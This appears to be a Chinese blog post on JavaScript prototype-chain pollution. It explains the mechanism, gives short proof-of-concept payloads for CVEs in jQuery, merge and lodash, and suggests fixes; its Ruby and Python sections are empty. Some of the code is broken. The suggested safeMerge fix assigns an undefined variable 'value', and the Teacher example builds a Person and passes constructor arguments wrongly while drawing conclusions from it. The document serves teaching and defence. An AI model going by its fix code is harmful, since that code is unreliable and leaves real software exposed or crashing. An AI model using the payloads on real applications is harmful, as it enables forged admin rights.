原型链污染的攻击与修复
原型链污染的攻击与防御
先讲最为经典的Javascript原型链污染,再拓展到其他语言例如python和ruby
JavaScript
机理
在js中,函数有prototype
属性,对象有__proto__
属性
对象是由函数产生 的
对象的__proto__
属性指向函数的prototype
属性
来看一段代码来理解一下原型这个东西,其实和我们python的SSTI的继承链很像
let obj = {};
console.log(obj);
console.log(obj.__proto__);
console.log(obj.__proto__.__proto__);
接着我们会看到输出
{}
[Object: null prototype] {}
null
可以理出来这样的关系obj–>Object–>null
而Object自身的proto为null
也许你觉得不够直观,那么我会举出下面的例子:
function Person(name, age, gender) {
this.name = name;
this.age = age;
this.gender = gender;
}
var person = new Person('lyc', 30, 'male');
console.log(person);
写一个html文件接着在里面引用这个js文件
在控制台就能看到

在网上找了一张图来总结:
不难看到所有对象的原型最终都会指向Object.prototype,接着指向null
那么到现在为止所讲的,和我们所说的污染有什么关系呢?我们再引入一个函数
function Teacher(name,age,gender,subject){
Person.call(this,name);
Person.call(this,age);
Person.call(this,gender);
this.subject=subject;
}
Teacher.prototype=new Person();
再对Person稍作修改
function Person(name, age, gender,nation) {
this.name = name;
this.age = age;
this.gender = gender;
this.nation ='China';
}
此时就会有
接下来用以下代码测试
function Person(name, age, gender,nation) {
this.name = name;
this.age = age;
this.gender = gender;
this.nation ="China";
}
function Teacher(name,age,gender,subject){
Person.call(this,name);
Person.call(this,age);
Person.call(this,gender);
this.subject=subject;
}
Teacher.prototype=new Person();
var person = new Person('lyc', 30, 'male',"China");
var teacher =new Person('lyc',30,'male','math');
console.log(teacher.nation);
//China
为什么我们明明没有给Teacher定义nation的属性,却可以打印出nation呢
在JavaScript里,每个对象都有一个原型(prototype),这个原型本身也是一个对象,它也有自己的原型,这样就形成了一条链,叫做原型链。当你访问一个对象的属性时,如果这个对象本身没有,JavaScript引擎就会沿着原型链往上找,直到找到为止。
所以我们就明白了原型链污染的原理了:通过污染原型的属性来达成攻击目的
那么假如我们正在使用一个合并的函数,那么就可以通过构造{"__proto__":{"isAdmin":true}}
来污染原型进而实现伪造admin
[!NOTE]
__proto__
是一个非标准的属性,但在大多数JavaScript引擎中都支持,它指向对象的原型。- 有些库或框架可能会使用其他的属性来表示原型,比如
constructor.prototype
。
利用
以下的利用需要自己去看,去理解,去复现,碍于篇幅我就不在分析,网上的文章也很多
不安全的递归合并(Merge)
jQuery.extend:CVE-2019-11358
3.4.0版本之前的jQuery存在一个原型污染漏洞CVE-2019-11358,PoC如下。
$.extend(true, {}, JSON.parse('{"__proto__": {"z": 123}}'))
console.log(z); // 123
merge.recursiveMerge :CVE-2020-28499
此 CVE 影响 2.1.1 以下的 merge 版本
测试代码:
const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y:1}};
console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);
lodash.defaultsDeep : CVE-2019-10744
2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
console.log(Object.whoami);
从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台
按路径定义属性
修复
js原型链污染的修复相对较为容易
只要把常用的关键字都给waf掉就可以
const proto = ['__proto__', 'constructor', 'prototype']
套用到递归函数里面把它变安全
function safeMerge(target, source) {
for (const key in source) {
if (key === 'outputFunctionName'||key === '__proto__' || key === 'constructor'||key ==='prototype') {
continue; // 跳过敏感属性
}
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
safeMerge(target[key], source[key]);
} else {
target[key] = value;
}
}
}
或者也可以从源头上解决问题,将有可能发生污染的对象obj做以下任一操作/重写:
let obj=Object.create(null);
const o=Object.freeze(obj);
let obj =new Map();
let obj =new Set();
Ruby
为什么我先讲Ruby而不是Python呢,因为Ruby也是OOP语言,并且更加贴近于js(虽说其实是先发现了Python的原型链才引出了Ruby的类污染
Python
后记
最近太忙了,比赛一大堆,还赶上开学,复现要等后续了,现在当务之急是赶快学到能够上场的程度。。